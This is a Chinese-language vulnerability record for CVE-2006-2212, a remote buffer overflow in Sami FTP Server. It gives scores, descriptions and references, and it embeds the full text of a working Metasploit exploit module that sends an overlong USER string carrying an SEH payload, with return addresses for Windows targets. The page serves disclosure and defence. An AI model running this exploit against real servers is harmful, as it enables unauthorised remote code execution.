CVE-2006-2212
CVSS6.4
发布时间 :2006-05-05 08:46:00
修订时间 :2008-09-05 17:03:57
NMCOP    

[原文]Buffer overflow in KarjaSoft Sami FTP Server 2.0.2 and earlier allows remote attackers to execute arbitrary code via a long (1) USER or (2) PASS command.


[CNNVD]Sami FTP Server 用户认证 缓冲区溢出漏洞(CNNVD-200605-112)

        Sami FTP Server是一个小巧但却强大易用的ftp服务器软件。
        Sami FTP Server在处理用户连接到服务器时所提供的用户名和口令时存在溢出漏洞,允许用户通过一些命令向缓冲区传送超长的参数,成功利用这个漏洞的攻击者可以远程执行任意指令。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2212
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2212
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-112
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/26254
(UNKNOWN)  XF  sami-ftp-auth-bo(26254)
http://www.securityfocus.com/bid/17835
(UNKNOWN)  BID  17835
http://www.securityfocus.com/archive/1/archive/1/432944/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060504 [REWTERZ-20060504] - Sami FTP Server Remote Buffer Overflow Vulnerability
http://www.osvdb.org/25670
(UNKNOWN)  OSVDB  25670
http://securitytracker.com/id?1016031
(UNKNOWN)  SECTRACK  1016031
http://securityreason.com/securityalert/842
(UNKNOWN)  SREASON  842

- 漏洞信息

Sami FTP Server 用户认证 缓冲区溢出漏洞
中危 缓冲区溢出
2006-05-05 00:00:00 2006-10-05 00:00:00
远程  
        Sami FTP Server是一个小巧但却强大易用的ftp服务器软件。
        Sami FTP Server在处理用户连接到服务器时所提供的用户名和口令时存在溢出漏洞,允许用户通过一些命令向缓冲区传送超长的参数,成功利用这个漏洞的攻击者可以远程执行任意指令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.karja.com

- 漏洞信息 (F83185)

KarjaSoft Sami FTP Server v2.02 USER Overflow (PacketStormID:F83185)
2009-11-26 00:00:00
patrick  metasploit.com
exploit
CVE-2006-0441,CVE-2006-2212
[点击下载]

This Metasploit module exploits the KarjaSoft Sami FTP Server version 2.02 by sending an excessively long USER string. The stack is overwritten when the administrator attempts to view the FTP logs. Therefore, this exploit is passive and requires end-user interaction. Keep this in mind when selecting payloads. When the server is restarted, it will re-execute the exploit until the logfile is manually deleted via the file system.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'		=> 'KarjaSoft Sami FTP Server v2.02 USER Overflow',
			'Description'	=> %q{
				This module exploits the KarjaSoft Sami FTP Server version 2.02
				by sending an excessively long USER string. The stack is overwritten
				when the administrator attempts to view the FTP logs. Therefore, this exploit
				is passive and requires end-user interaction. Keep this in mind when selecting
				payloads. When the server is restarted, it will re-execute the exploit until
				the logfile is manually deleted via the file system.
			},
			'Author'	=> [ 'patrick' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'	=> MSF_LICENSE,
			'Version'	=> '$Revision$',
			'Stance'	=> Msf::Exploit::Stance::Passive,
			'References'	=>
				[
					# This exploit appears to have been reported multiple times.
					[ 'CVE', '2006-0441'],
					[ 'CVE', '2006-2212'],
					[ 'OSVDB', '25670'],
					[ 'BID', '16370'],
					[ 'BID', '22045'],
					[ 'BID', '17835'],
					[ 'URL', 'http://www.milw0rm.com/exploits/1448'],
					[ 'URL', 'http://www.milw0rm.com/exploits/1452'],
					[ 'URL', 'http://www.milw0rm.com/exploits/1462'],
					[ 'URL', 'http://www.milw0rm.com/exploits/3127'],
					[ 'URL', 'http://www.milw0rm.com/exploits/3140'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},				
			'Platform' 	=> ['win'],
			'Privileged'	=> false,
			'Payload'	=>
				{
					'Space'			=> 300,
					'BadChars'		=> "\x00\x0a\x0d\x20\xff",
					'StackAdjustment'	=> -3500,
				},
			'Targets' 	=>
			[
				[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
				[ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd11a9 } ], # p/p/r ws2help.dll
				[ 'Windows 2000 Pro All - French',  { 'Ret' => 0x74fa12bc } ], # p/p/r ws2help.dll
				[ 'Windows XP SP0/1 - English',     { 'Ret' => 0x71aa32ad } ], # p/p/r ws2help.dll					 
			],
			'DisclosureDate' => 'Jan 24 2006'))

			register_options(
			[
				Opt::RPORT(21),
			], self.class)
	end

	def check
		connect
		banner = sock.get(-1,3)
		disconnect

		if (banner =~ /Sami FTP Server 2.0.2/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit = Rex::Text.rand_text_alphanumeric(596) + generate_seh_payload(target.ret)

		login = "USER #{sploit}\r\n"
		login << "PASS " + Rex::Text.rand_char(payload_badchars)

		sock.put(login + "\r\n")

		handler
		disconnect
	end

end
    

- 漏洞信息

25670
Sami FTP Server Login Fields Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown

- 漏洞描述

A remote overflow exists in Sami FTP Server. The product fails to perform boundary checks on user input for the USER and PASS commands, resulting in a buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2006-05-04 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站